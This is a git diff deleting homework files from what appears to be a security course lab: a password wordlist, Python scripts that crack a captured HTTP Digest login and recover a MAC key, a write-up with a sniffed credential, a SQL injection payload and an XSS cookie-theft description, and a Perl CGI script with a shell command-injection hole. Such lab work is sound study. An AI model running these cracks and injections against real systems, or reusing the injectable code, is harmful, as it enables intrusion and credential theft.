-mckenzie -matty -rene -redrose -1200 -102938 -annmarie -alexa -antares -austin31 -ground -goose1 -737373 -78945612 -789987 -6464 -calimero -caster -casper1 -cement -chevrolet -chessie -caddy -chill -child -canucks -feeling -favorite -fellatio -f00tball -francine -gateway2 -gigi -gamecube -giovanna -rugby1 -scheisse -dshade -dudes -dixie1 -owen -offshore -olympia -lucas1 -macaroni -manga -pringles -puff -tribble -trouble1 -ussy -core -clint -coolhand -colonial -colt -debra -darthvad -dealer -cygnusx1 -natalie1 -newark -husband -hiking -errors -eighteen -elcamino -emmett -emilia -koolaid -knight1 -murphy1 -volcano -idunno -2005 -2233 -block -benito -blueberr -biguns -yamahar1 -zapper -zorro1 -0911 -3006 -sixsix -shopper -siobhan -sextoy -stafford -snowboard -speedway -sounds -pokey -peabody -playboy2 -titi -think -toast -toonarmy -lister -lambda -joecool -jonas -joyce -juniper -mercer -max123 -manny -massimo -mariposa -met2002 -reggae -ricky1 -1236 -1228 -1016 -all4one -arianna -baberuth -asgard -gonzales -484848 -5683 -6669 -catnip -chiquita -charisma -capslock -cashmone -chat -figure -galant -frenchy -gizmodo1 -girlies -gabby -garner -screwy -doubled -divers -dte4uw -done -dragonfl -maker -locks -rachelle -treble -twinkie -trailer -tropical -acid -crescent -cooking -cococo -cory -dabomb -daffy -dandfa -cyrano -nathanie -briggs -boners -helium -horton -hoffman -hellas -espresso -emperor -killa -kikimora -wanda -w4g8at -verona -ilikeit -iforget -1944 -20002000 -birthday1 -beatles1 -blue1 -bigdicks -beethove -blacklab -blazers -benny1 -woodwork -0069 -0101 -taffy -susie -survivor -swim -stokes -4567 -shodan -spoiled -steffen -pissed -pavlov -pinnacle -place -petunia -terrell -thirty -toni -tito -teenie -lemonade -lily -lillie -lalakers -lebowski -lalalala -ladyboy -jeeper -joyjoy -mercury1 -mantle -mannn -rocknrol -riversid -reeves -123aaa -11112222 -121314 -1021 -1004 -1120 -allen1 -ambers -amstel -ambrose -alice1 -alleycat -allegro -ambrosia -alley -australia -hatred -gspot -graves -goodsex -hattrick -harpoon -878787 -8inches -4wwvte -cassandr -charlie123 -case -chavez -fighting -gabriela -gatsby -fudge -gerry -generic -gareth -fuckme2 -samm -sage -seadog -satchmo -scxakv -santafe -dipper -dingle -dizzy -outoutout -madmad -london1 -qbg26i -pussy123 -randolph -vaughn -tzpvaw -vamp -comedy -comp -cowgirl -coldplay -dawgs -delaney -nt5d27 -novifarm -needles -notredam -newness -mykids -bryan1 -bouncer -hihihi -honeybee -iceman1 -herring -horn -hook -hotlips -dynamo -klaus -kittie -kappa -kahlua -muffy -mizzou -mohamed -musical -wannabe -wednesda -whatup -weller -waterfal -willy1 -invest -blanche -bear1 -billabon -youknow -zelda -yyyyyy1 -zachary1 -01234567 -070462 -zurich -superstar -storms -tail -stiletto -strat -427900 -sigmachi -shelter -shells -sexy123 -smile1 -sophie1 -stefano -stayout -somerset -smithers -playmate -pinkfloyd -phish1 -payday -thebear -telefon -laetitia -kswbdu -larson -jetta -jerky -melina -metro -revoluti -retire -respect -1216 -1201 -1204 -1222 -1115 -archange -barry1 -handball -676767 -chandra -chewbacc -flesh -furball -gocubs -fruit -fullback -gman -gentle -dunbar -dewalt -dominiqu -diver1 -dhip6a -olemiss -ollie -mandrake -mangos -pretzel -pusssy -tripleh -valdez -vagabond -clean -comment -crew -clovis -deaths -dandan -csfbr5yy -deadspin -darrel -ninguna -noah -ncc74656 -bootsie -bp2002 -bourbon -brennan -bumble -books -hose -heyyou -houston1 -hemlock -hippo -hornets -hurricane -horseman -hogan -excess -extensa -muffin1 -virginie -werdna -idontknow -info -iron -jack1 -1bitch -151nxjmt -bendover -bmwbmw -bills -zaq123 -wxcvbn -surprise -supernov -tahoe -talbot -simona -shakur -sexyone -seviyi -sonja -smart1 -speed1 -pepito -phantom1 -playoffs -terry1 -terrier -laser1 -lite -lancia -johngalt -jenjen -jolene -midori -message -maserati -matteo -mental -miami1 -riffraff -ronald1 -reason -rhythm -1218 -1026 -123987 -1015 -1103 -armada -architec -austria -gotmilk -hawkins -gray -camila -camp -cambridg -charge -camero -flex -foreplay -getoff -glacier -glotest -froggie -gerbil -rugger -sanity72 -salesman -donna1 -dreaming -deutsch -orchard -oyster -palmtree -ophelia -pajero -m5wkqf -magenta -luckyone -treefrog -vantage -usmarine -tyvugq -uptown -abacab -aaaaaa1 -advance -chuck1 -delmar -darkange -cyclones -nate -navajo -nope -border -bubba123 -building -iawgk2 -hrfzlz -dylan1 -enrico -encore -emilio -eclipse1 -killian -kayleigh -mutant -mizuno -mustang2 -video1 -viewer -weed420 -whales -jaguar1 -insight -1990 -159159 -1love -bliss -bears1 -bigtruck -binder -bigboss -blitz -xqgann -yeahyeah -zeke -zardoz -stickman -table -3825 -signal -sentra -side -shiva -skipper1 -singapor -southpaw -sonora -squid -slamdunk -slimjim -placid -photon -placebo -pearl1 -test12 -therock1 -tiger123 -leinad -legman -jeepers -joeblow -mccarthy -mike23 -redcar -rhinos -rjw7x4 -1102 -13576479 -112211 -alcohol -gwju3g -greywolf -7bgiqk -7878 -535353 -4snz9g -candyass -cccccc1 -carola -catfight -cali -fister -fosters -finland -frankie1 -gizzmo -fuller -royalty -rugrat -sandie -rudolf -dooley -dive -doreen -dodo -drop -oemdlg -out3xf -paddy -opennow -puppy1 -qazwsxedc -pregnant -quinn -ramjet -under -uncle -abraxas -corner -creed -cocoa -crown -cows -cn42qj -dancer1 -death666 -damned -nudity -negative -nimda2k -buick -bobb -braves1 -brook -henrik -higher -hooligan -dust -everlast -karachi -mortis -mulligan -monies -motocros -wally1 -weapon -waterman -view -willie1 -vicki -inspiron -1test -2929 -bigblack -xytfu7 -yackwin -zaq1xsw2 -yy5rbfsc -100100 -0660 -tahiti -takehana -talks -332211 -3535 -sedona -seawolf -skydiver -shine -spleen -slash -spjfet -special1 -spooner -slimshad -sopranos -spock1 -penis1 -patches1 -terri -thierry -thething -toohot -large -limpone -johnnie -mash4077 -matchbox -masterp -maxdog -ribbit -reed -rita -rockin -redhat -rising -1113 -14789632 -1331 -allday -aladin -andrey -amethyst -ariel -anytime -baseball1 -athome -basil -goofy1 -greenman -gustavo -goofball -ha8fyp -goodday -778899 -charon -chappy -castillo -caracas -cardiff -capitals -canada1 -cajun -catter -freddy1 -favorite2 -frazier -forme -follow -forsaken -feelgood -gavin -gfxqx686 -garlic -sarge -saskia -sanjose -russ -salsa -dilbert1 -dukeduke -downhill -longhair -loop -locutus -lockdown -malachi -mamacita -lolipop -rainyday -pumpkin1 -punker -prospect -rambo1 -rainbows -quake -twin -trinity1 -trooper1 -aimee -citation -coolcat -crappy -default -dental -deniro -d9ungl -daddys -napoli -nautica -nermal -bukowski -brick -bubbles1 -bogota -board -branch -breath -buds -hulk -humphrey -hitachi -evans -ender -export -kikiki -kcchiefs -kram -morticia -montrose -mongo -waqw3p -wizzard -visited -whdbtp -whkzyc -image -154ugeiu -1fuck -binky -blind -bigred1 -blubber -benz -becky1 -year2005 -wonderfu -wooden -xrated -0001 -tampabay -survey -tammy1 -stuffer -3mpz4r -3000 -3some -selina -sierra1 -shampoo -silk -shyshy -slapnuts -standby -spartan1 -sprocket -sometime -stanley1 -poker1 -plus -thought -theshit -torture -thinking -lavalamp -light1 -laserjet -jediknig -jjjjj1 -jocelyn -mazda626 -menthol -maximo -margaux -medic1 -release -richter -rhino1 -roach -renate -repair -reveal -1209 -1234321 -amigos -apricot -alexandra -asdfgh1 -hairball -hatter -graduate -grimace -7xm5rq -6789 -cartoons -capcom -cheesy -cashflow -carrots -camping -fanatic -fool -format -fleming -girlie -glover -gilmore -gardner -safeway -ruthie -dogfart -dondon -diapers -outsider -odin -opiate -lollol -love12 -loomis -mallrats -prague -primetime21 -pugsley -program -r29hqq -touch -valleywa -airman -abcdefg1 -darkone -cummer -dempsey -damn -nadia -natedogg -nineball -ndeyl5 -natchez -newone -normandy -nicetits -buddy123 -buddys -homely -husky -iceland -hr3ytm -highlife -holla -earthlin -exeter -eatmenow -kimkim -karine -k2trix -kernel -kirkland -money123 -moonman -miles1 -mufasa -mousey -wilma -wilhelm -whites -warhamme -instinct -jackass1 -2277 -20spanks -blobby -blair -blinky -bikers -blackjack -becca -blue23 -xman -wyvern -085tzzqi -zxzxzx -zsmj2v -suede -t26gn4 -sugars -sylvie -tantra -swoosh -swiss -4226 -4271 -321123 -383pdjvl -shoe -shane1 -shelby1 -spades -spain -smother -soup -sparhawk -pisser -photo1 -pebble -phones -peavey -picnic -pavement -terra -thistle -tokyo -therapy -lives -linden -kronos -lilbit -linux -johnston -material -melanie1 -marbles -redlight -reno -recall -1208 -1138 -1008 -alchemy -aolsucks -alexalex -atticus -auditt -ballet -b929ezzh -goodyear -hanna -griffith -gubber -863abgsg -7474 -797979 -464646 -543210 -4zqauf -4949 -ch5nmk -carlito -chewey -carebear -caleb -checkmat -cheddar -chachi -fever -forgetit -fine -forlife -giants1 -gates -getit -gamble -gerhard -galileo -g3ujwg -ganja -rufus1 -rushmore -scouts -discus -dudeman -olympus -oscars -osprey -madcow -locust -loyola -mammoth -proton -rabbit1 -question -ptfe3xxp -pwxd5x -purple1 -punkass -prophecy -uyxnyd -tyson1 -aircraft -access99 -abcabc -cocktail -colts -civilwar -cleveland -claudia1 -contour -clement -dddddd1 -cypher -denied -dapzu455 -dagmar -daisydog -name -noles -butters -buford -hoochie -hotel -hoser -eddy -ellis -eldiablo -kingrich -mudvayne -motown -mp8o6d -wife -vipergts -italiano -innocent -2055 -2211 -beavers -bloke -blade1 -yamato -zooropa -yqlgr667 -050505 -zxcvbnm1 -zw6syj -suckcock -tango1 -swing -stern -stephens -swampy -susanna -tammie -445566 -333666 -380zliki -sexpot -sexylady -sixtynin -sickboy -spiffy -sleeping -skylark -sparkles -slam -pintail -phreak -places -teller -timtim -tires -thighs -left -latex -llamas -letsdoit -lkjhg -landmark -letters -lizzard -marlins -marauder -metal1 -manu -register -righton -1127 -alain -alcat -amigo -basebal1 -azertyui -attract -azrael -hamper -gotenks -golfgti -gutter -hawkwind -h2slca -harman -grace1 -6chid8 -789654 -canine -casio -cazzo -chamber -cbr900 -cabrio -calypso -capetown -feline -flathead -fisherma -flipmode -fungus -goal -g9zns4 -full -giggle -gabriel1 -fuck123 -saffron -dogmeat -dreamcas -dirtydog -dunlop -douche -dresden -dickdick -destiny1 -pappy -oaktree -lydia -luft4 -puta -prayer -ramada -trumpet1 -vcradq -tulip -tracy71 -tycoon -aaaaaaa1 -conquest -click -chitown -corps -creepers -constant -couples -code -cornhole -danman -dada -density -d9ebk7 -cummins -darth -cute -nash -nirvana1 -nixon -norbert -nestle -brenda1 -bonanza -bundy -buddies -hotspur -heavy -horror -hufmqw -electro -erasure -enough -elisabet -etvww4 -ewyuza -eric1 -kinder -kenken -kismet -klaatu -musician -milamber -willi -waiting -isacs155 -igor -1million -1letmein -x35v8l -yogi -ywvxpz -xngwoj -zippy1 -020202 -**** -stonewal -sweeney -story -sentry -sexsexsex -spence -sonysony -smirnoff -star12 -solace -sledge -states -snyder -star1 -paxton -pentagon -pkxe62 -pilot1 -pommes -paulpaul -plants -tical -tictac -toes -lighthou -lemans -kubrick -letmein22 -letmesee -jys6wz -jonesy -jjjjjj1 -jigga -joelle -mate -merchant -redstorm -riley1 -rosa -relief -14141414 -1126 -allison1 -badboy1 -asthma -auggie -basement -hartley -hartford -hardwood -gumbo -616913 -57np39 -56qhxs -4mnveh -cake -forbes -fatluvr69 -fqkw5m -fidelity -feathers -fresno -godiva -gecko -gladys -gibson1 -gogators -fridge -general1 -saxman -rowing -sammys -scotts -scout1 -sasasa -samoht -dragon69 -ducky -dragonball -driller -p3wqaw -nurse -papillon -oneone -openit -optimist -longshot -portia -rapier -pussy2 -ralphie -tuxedo -ulrike -undertow -trenton -copenhag -come -delldell -culinary -deltas -mytime -nicky -nickie -noname -noles1 -bucker -bopper -bullock -burnout -bryce -hedges -ibilltes -hihje863 -hitter -ekim -espana -eatme69 -elpaso -envelope -express1 -eeeeee1 -eatme1 -karaoke -kara -mustang5 -misses -wellingt -willem -waterski -webcam -jasons -infinite -iloveyou! -jakarta -belair -bigdad -beerme -yoshi -yinyang -zimmer -x24ik3 -063dyjuy -0000007 -ztmfcq -stopit -stooges -survival -stockton -symow8 -strato -2hot4u -ship -simons -skins -shakes -sex1 -shield -snacks -softtail -slimed123 -pizzaman -pipe -pitt -pathetic -pinto -tigercat -tonton -lager -lizzy -juju -john123 -jennings -josiah -jesse1 -jordon -jingles -martian -mario1 -rootedit -rochard -redwine -requiem -riverrat -rats -1117 -1014 -1205 -althea -allie -amor -amiga -alpina -alert -atreides -banana1 -bahamut -hart -golfman -happines -7uftyx -5432 -5353 -5151 -4747 -byron -chatham -chadwick -cherie -foxfire -ffvdj474 -freaked -foreskin -gayboy -gggggg1 -glenda -gameover -glitter -funny1 -scoobydoo -scroll -rudolph -saddle -saxophon -dingbat -digimon -omicron -parsons -ohio -panda1 -loloxx -macintos -lululu -lollypop -racer1 -queen1 -qwertzui -prick -upnfmc -tyrant -trout1 -9skw5g -aceman -adelaide -acls2h -aaabbb -acapulco -aggie -comcast -craft -crissy -cloudy -cq2kph -custer -d6o8pm -cybersex -davecole -darian -crumbs -daisey -davedave -dasani -needle -mzepab -myporn -narnia -nineteen -booger1 -bravo1 -budgie -btnjey -highlander -hotel6 -humbug -edwin -ewtosi -kristin1 -kobe -knuckles -keith1 -katarina -muff -muschi -montana1 -wingchun -wiggle -whatthe -walking -watching -vette1 -vols -virago -intj3a -ishmael -intern -jachin -illmatic -199999 -2010 -beck -blender -bigpenis -bengal -blue1234 -your -zaqxsw -xray -xxxxxxx1 -zebras -yanks -worlds -tadpole -stripes -svetlana -3737 -4343 -3728 -4444444 -368ejhih -solar -sonne -smalls -sniffer -sonata -squirts -pitcher -playstation -pktmxr -pescator -points -texaco -lesbos -lilian -l8v53x -jo9k2jw2 -jimbeam -josie -jimi -jupiter2 -jurassic -marines1 -maya -rocket1 -ringer -14725836 -12345679 -1219 -123098 -1233 -alessand -althor -angelika -arch -armando -alpha123 -basher -barefeet -balboa -bbbbb1 -banks -badabing -harriet -gopack -golfnut -gsxr1000 -gregory1 -766rglqy -8520 -753159 -8dihc6 -69camaro -666777 -cheeba -chino -calendar -cheeky -camel1 -fishcake -falling -flubber -giuseppe -gianni -gloves -gnasher23 -frisbee -fuzzy1 -fuzzball -sauce -save13tx -schatz -russell1 -sandra1 -scrotum -scumbag -sabre -samdog -dripping -dragon12 -dragster -paige -orwell -mainland -lunatic -lonnie -lotion -maine -maddux -qn632o -poophead -rapper -porn4life -producer -rapunzel -tracks -velocity -vanessa1 -ulrich -trueblue -vampire1 -abacus -902100 -crispy -corky -crane -chooch -d6wnro -cutie -deal -dabulls -dehpye -navyseal -njqcw4 -nownow -nigger1 -nightowl -nonenone -nightmar -bustle -buddy2 -boingo -bugman -bulletin -bosshog -bowie -hybrid -hillside -hilltop -hotlegs -honesty -hzze929b -hhhhh1 -hellohel -eloise -evilone -edgewise -e5pftu -eded -embalmer -excalibur -elefant -kenzie -karl -karin -killah -kleenex -mouses -mounta1n -motors -mutley -muffdive -vivitron -winfield -wednesday -w00t88 -iloveit -jarjar -incest -indycar -17171717 -1664 -17011701 -222777 -2663 -beelch -benben -yitbos -yyyyy1 -yasmin -zapata -zzzzz1 -stooge -tangerin -taztaz -stewart1 -summer69 -sweetness -system1 -surveyor -stirling -3qvqod -3way -456321 -sizzle -simhrq -shrink -shawnee -someday -sparty -ssptx452 -sphere -spark -slammed -sober -persian -peppers -ploppy -pn5jvw -poobear -pianos -plaster -testme -tiff -thriller -larissa -lennox -jewell -master12 -messier -rockey -1229 -1217 -1478 -1009 -anastasi -almighty -amonra -aragon -argentin -albino -azazel -grinder -6uldv8 -83y6pv -8888888 -4tlved -515051 -carsten -changes -flanders -flyers88 -ffffff1 -firehawk -foreman -firedog -flashman -ggggg1 -gerber -godspeed -galway -giveitup -funtimes -gohan -giveme -geryfe -frenchie -sayang -rudeboy -savanna -sandals -devine -dougal -drag0n -dga9la -disaster -desktop -only -onlyone -otter -pandas -mafia -lombard -luckys -lovejoy -lovelife -manders -product -qqh92r -qcmfd454 -pork -radar1 -punani -ptbdhw -turtles -undertaker -trs8f7 -tramp -ugejvp -abba -911turbo -acdc -abcd123 -clever -corina -cristian -create -crash1 -colony -crosby -delboy -daniele -davinci -daughter -notebook -niki -nitrox -borabora -bonzai -budd -brisbane -hotter -heeled -heroes -hooyah -hotgirl -i62gbq -horse1 -hills -hpk2qc -epvjb6 -echo -korean -kristie -mnbvc -mohammad -mind -mommy1 -munster -wade -wiccan -wanted -jacket -2369 -bettyboo -blondy -bismark -beanbag -bjhgfi -blackice -yvtte545 -ynot -yess -zlzfrh -wolvie -007bond -****** -tailgate -tanya1 -sxhq65 -stinky1 -3234412 -3ki42x -seville -shimmer -sheryl -sienna -shitshit -skillet -seaman -sooners1 -solaris -smartass -pastor -pasta -pedros -pennywis -pfloyd -tobydog -thetruth -lethal -letme1n -leland -jenifer -mario66 -micky -rocky2 -rewq -ripped -reindeer -1128 -1207 -1104 -1432 -aprilia -allstate -alyson -bagels -basic -baggies -barb -barrage -greatest -gomez -guru -guard -72d5tn -606060 -4wcqjn -caldwell -chance1 -catalog -faust -film -flange -fran -fartman -geil -gbhcf2 -fussball -glen -fuaqz4 -gameboy -garnet -geneviev -rotary -seahawk -russel -saab -seal -samadams -devlt4 -ditto -drevil -drinker -deuce -dipstick -donut -octopus -ottawa -losangel -loverman -porky -q9umoz -rapture -pump -pussy4me -university -triplex -ue8fpw -trent -trophy -turbos -troubles -agent -aaa340 -churchil -crazyman -consult -creepy -craven -class -cutiepie -ddddd1 -dejavu -cuxldv -nettie -nbvibt -nikon -niko -norwood -nascar1 -nolan -bubba2 -boobear -boogers -buff -bullwink -bully -bulldawg -horsemen -escalade -editor -eagle2 -dynamic -ella -efyreg -edition -kidney -minnesot -mogwai -morrow -msnxbi -moonlight -mwq6qlzo -wars -werder -verygood -voodoo1 -wheel -iiiiii1 -159951 -1624 -1911a1 -2244 -bellagio -bedlam -belkin -bill1 -woodrow -xirt2k -worship -?????? -tanaka -swift -susieq -sundown -sukebe -tales -swifty -2fast4u -senate -sexe -sickness -shroom -shaun -seaweed -skeeter1 -status -snicker -sorrow -spanky1 -spook -patti -phaedrus -pilots -pinch -peddler -theo -thumper1 -tessie -tiger7 -tmjxn151 -thematri -l2g7k3 -letmeinn -lazy -jeffjeff -joan -johnmish -mantra -mariana -mike69 -marshal -mart -mazda6 -riptide -robots -rental -1107 -1130 -142857 -11001001 -1134 -armored -alvin -alec -allnight -alright -amatuers -bartok -attorney -astral -baboon -bahamas -balls1 -bassoon -hcleeb -happyman -granite -graywolf -golf1 -gomets -8vjzus -7890 -789123 -8uiazp -5757 -474jdvff -551scasi -50cent -camaro1 -cherry1 -chemist -final -firenze -fishtank -farrell -freewill -glendale -frogfrog -gerhardt -ganesh -same -scirocco -devilman -doodles -dinger -okinawa -olympic -nursing -orpheus -ohmygod -paisley -pallmall -null -lounge -lunchbox -manhatta -mahalo -mandarin -qwqwqw -qguvyt -pxx3eftp -president -rambler -puzzle -poppy1 -turk182 -trotter -vdlxuc -trish -tugboat -valiant -tracie -uwrl7c -chris123 -coaster -cmfnpu -decimal -debbie1 -dandy -daedalus -dede -natasha1 -nissan1 -nancy123 -nevermin -napalm -newcastle -boats -branden -britt -bonghit -hester -ibxnsm -hhhhhh1 -holger -durham -edmonton -erwin -equinox -dvader -kimmy -knulla -mustafa -monsoon -mistral -morgana -monica1 -mojave -month -monterey -mrbill -vkaxcs -victor1 -wacker -wendell -violator -vfdhif -wilson1 -wavpzt -verena -wildstar -winter99 -iqzzt580 -jarrod -imback -1914 -19741974 -1monkey -1q2w3e4r5t -2500 -2255 -blank -bigshow -bigbucks -blackcoc -zoomer -wtcacq -wobble -xmen -xjznq5 -yesterda -yhwnqc -zzzxxx -streak -393939 -2fchbg -skinhead -skilled -shakira -shaft -shadow12 -seaside -sigrid -sinful -silicon -smk7366 -snapshot -sniper1 -soccer11 -staff -slap -smutty -peepers -pleasant -plokij -pdiddy -pimpdaddy -thrust -terran -topaz -today1 -lionhear -littlema -lauren1 -lincoln1 -lgnu9d -laughing -juneau -methos -medina -merlyn -rogue1 -romulus -redshift -1202 -1469 -12locked -arizona1 -alfarome -al9agd -aol123 -altec -apollo1 -arse -baker1 -bbb747 -bach -axeman -astro1 -hawthorn -goodfell -hawks1 -gstring -hannes -8543852 -868686 -4ng62t -554uzpad -5401 -567890 -5232 -catfood -frame -flow -fire1 -flipflop -fffff1 -fozzie -fluff -garrison -fzappa -furious -round -rustydog -sandberg -scarab -satin -ruger -samsung1 -destin -diablo2 -dreamer1 -detectiv -dominick -doqvq3 -drywall -paladin1 -papabear -offroad -panasonic -nyyankee -luetdi -qcfmtz -pyf8ah -puddles -privacy -rainer -pussyeat -ralph1 -princeto -trivia -trewq -tri5a3 -advent -9898 -agyvorc -clarkie -coach1 -courier -contest -christo -corinna -chowder -concept -climbing -cyzkhw -davidb -dad2ownu -days -daredevi -de7mdf -nose -necklace -nazgul -booboo1 -broad -bonzo -brenna -boot -butch1 -huskers1 -hgfdsa -hornyman -elmer -elektra -england1 -elodie -kermit1 -knife -kaboom -minute -modern -motherfucker -morten -mocha -monday1 -morgoth -ward -weewee -weenie -walters -vorlon -website -wahoo -ilovegod -insider -jayman -1911 -1dallas -1900 -1ranger -201jedlz -2501 -1qaz -bertram -bignuts -bigbad -beebee -billows -belize -bebe -wvj5np -wu4etd -yamaha1 -wrinkle5 -zebra1 -yankee1 -zoomzoom -09876543 -0311 -????? -stjabn -tainted -3tmnej -shoot -skooter -skelter -sixteen -starlite -smack -spice1 -stacey1 -smithy -perrin -pollux -peternorth -pixie -paulina -piston -pick -poets -pine -toons -tooth -topspin -kugm7b -legends -jeepjeep -juliana -joystick -junkmail -jojojojo -jonboy -judge -midland -meteor -mccabe -matter -mayfair -meeting -merrill -raul -riches -reznor -rockrock -reboot -reject -robyn -renee1 -roadway -rasta220 -1411 -1478963 -1019 -archery -allman -andyandy -barks -bagpuss -auckland -gooseman -hazmat -gucci -guns -grammy -happydog -greek -7kbe9d -7676 -6bjvpe -5lyedn -5858 -5291 -charlie2 -chas -c7lrwu -candys -chateau -ccccc1 -cardinals -fear -fihdfv -fortune12 -gocats -gaelic -fwsadn -godboy -gldmeo -fx3tuo -fubar1 -garland -generals -gforce -rxmtkp -rulz -sairam -dunhill -division -dogggg -detect -details -doll -drinks -ozlq6qwm -ov3ajy -lockout -makayla -macgyver -mallorca -loves -prima -pvjegu -qhxbij -raphael -prelude1 -totoro -tusymo -trousers -tunnel -valeria -tulane -turtle1 -tracy1 -aerosmit -abbey1 -address -clticic -clueless -cooper1 -comets -collect -corbin -delpiero -derick -cyprus -dante1 -dave1 -nounours -neal -nexus6 -nero -nogard -norfolk -brent1 -booyah -bootleg -buckaroo -bulls23 -bulls1 -booper -heretic -icecube -hellno -hounds -honeydew -hooters1 -hoes -howie -hevnm4 -hugohugo -eighty -epson -evangeli -eeeee1 -eyphed diff --git a/csci5271/ho2/crack2.py b/csci5271/ho2/crack2.py deleted file mode 100644 index b24f90e..0000000 --- a/csci5271/ho2/crack2.py +++ /dev/null @@ -1,23 +0,0 @@ -# HTTP Digest Authentication cracker -import hashlib - -username = "travis14" -realm = "Cheese" -nonce = "/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640" -uri = "/secret/cheese" -qop = "auth" -nc = "00000001" -cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=" -response = "872aafc461761e417d2df47b85e43d2b" - -# Calculate the response -with open("10k-most-common.txt") as f: - for line in f: - line = line.strip('\n').strip() - ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest() - ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest() - response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() - # print(line + ":" + response) - if (response == "872aafc461761e417d2df47b85e43d2b"): - print("Password: " + line) - break diff --git a/csci5271/ho2/crack6.py b/csci5271/ho2/crack6.py deleted file mode 100644 index e17aca2..0000000 --- a/csci5271/ho2/crack6.py +++ /dev/null @@ -1,21 +0,0 @@ -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning -import string - -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - -actual = "" -for n in range(19, -1, -1): - C = "Z" * n - res2 = requests.get("https://192.168.14.1/mac-cookie?username="+C, - verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] - for c in string.printable: - test = C + c + actual - res1 = requests.get("https://192.168.14.1/mac-cookie?username="+test, - verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] - print(test, res1, C, res2) - if res1 == res2: - actual = c + actual - break - -print("Key is", actual) diff --git a/csci5271/ho2/writeup.md b/csci5271/ho2/writeup.md deleted file mode 100644 index ea63dd3..0000000 --- a/csci5271/ho2/writeup.md +++ /dev/null @@ -1,139 +0,0 @@ -# 1 - -## Packet - -``` -IP 192.168.14.3.46826 > 192.168.14.1.80: Flags [P.], seq 1:143, ack 1, win 502, options [nop,nop,TS val 1452909150 ecr 2428281190], length 142: HTTP: GET /secret/file HTTP/1.1 -E.....@.@..............P.Tw.|..j........... -V..^...fGET /secret/file HTTP/1.1 -Host: 192.168.14.1 -Authorization: Basic dHJhdmlzMTQ6bWFpdkRlY2d1cjIyMDI= -User-Agent: curl/7.58.0 -Accept: */* -``` - -## User/Pass -`travis14:maivDecgur2202` - -## Contents - -```html -I'm going to let you in on a little secret. Every day, once a day, give yourself a present. Don’t plan it; don’t wait for it; just let it happen. -- Dale Cooper -``` - -# 2 -## Packet - -``` -182203 IP 192.168.14.2.36586 > 192.168.14.1.80: Flags [P.], seq 91:464, ack 308, win 501, options [nop,nop,TS val 422351445 ecr 1957960104], length 373: HTTP: HEAD /secret/cheese HTTP/1.1 -E.....@.@..v...........P,.................. -.,.Ut...HEAD /secret/cheese HTTP/1.1 -Host: 192.168.14.1 -Authorization: Digest username="travis14", realm="Cheese", nonce="/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640", uri="/secret/cheese", cnonce="ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=", nc=00000001, qop=auth, response="872aafc461761e417d2df47b85e43d2b", algorithm="MD5" -User-Agent: curl/7.58.0 -Accept: */* -``` - -## Crack - -```python -# HTTP Digest Authentication cracker -import hashlib - -username = "travis14" -realm = "Cheese" -nonce = "/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640" -uri = "/secret/cheese" -qop = "auth" -nc = "00000001" -cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=" -response = "872aafc461761e417d2df47b85e43d2b" - -# Calculate the response -with open("10k-most-common.txt") as f: - for line in f: - line = line.strip('\n').strip() - ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest() - ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest() - response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() - # print(line + ":" + response) - if (response == "872aafc461761e417d2df47b85e43d2b"): - print("Password: " + line) - break - -``` -## Password - -`Password: domain` - -## Contents - -``` -Intelligence alone is not nearly enough when it comes to acting wisely. - -— Fyodor Dostoevsky -``` - -# 3 - -## Cookie - -`Stephen2019-11-03T12%3A44%3A21Z` - -# 4 - -The secret to figuring out the SQL injection was ~~trying everything~~ tuning the query to stop returning Error 500. - -## Request - -`picture=char-kway-teow.jpg'+OR+1=1+AND'user=alice--` - -## Response - -`The best char kway teow is Penang char kway teow (lat: 5.411135 / lng: 100.330462)` - -# 5 - - -## XSS - -```html - -``` - -## Cookie -`GET /?cookie=auth=Iwillseeyouagainin32years. HTTP/1.1" 200 -` - -## Writeup -The main additional thing I did was start up a `SimpleHTTPServer` on port 8080 of the server I have SSH access to. The attack works because the server is making an HTTP request to that port with the cookie being that of the browser. - -# 6 -## Code -```python -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning -import string - -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - -actual = "" -key = "Z"*19 -for n in range(19, -1, -1): - res2 = requests.get("https://192.168.14.1/mac-cookie?username="+key, - verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] - for c in string.printable: - test = key[:n] + c - res1 = requests.get("https://192.168.14.1/mac-cookie?username="+test, - verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] - #print(test, res1, res2) - if res1 == res2: - actual = c + actual - break - key = key[:-1] - -print("Key is", actual) -``` - -## Key -`###################k` diff --git a/csci5271/hw1/hw1p2a.pl b/csci5271/hw1/hw1p2a.pl deleted file mode 100755 index a8bfe2e..0000000 --- a/csci5271/hw1/hw1p2a.pl +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/perl -print "Content-Type: text/html\r\n\r\n"; -print "\n"; -($field_name, $username_to_look_for) = split(/=/, <>); -chomp $username_to_look_for; -$result = `last -1000 | grep $username_to_look_for`; -if ($result) { -print "$username_to_look_for has logged in recently.\n"; -} else { -print "$username_to_look_for has NOT logged in recently.\n"; -} -print "\n"; \ No newline at end of file diff --git a/csci5271/hw1/hw1p2b.c b/csci5271/hw1/hw1p2b.c deleted file mode 100644 index df5ac73..0000000 --- a/csci5271/hw1/hw1p2b.c +++ /dev/null @@ -1,28 +0,0 @@ -#include -#include -#include -#include -void silly_function(char *pathname) { - struct stat f, we; - int rfd, 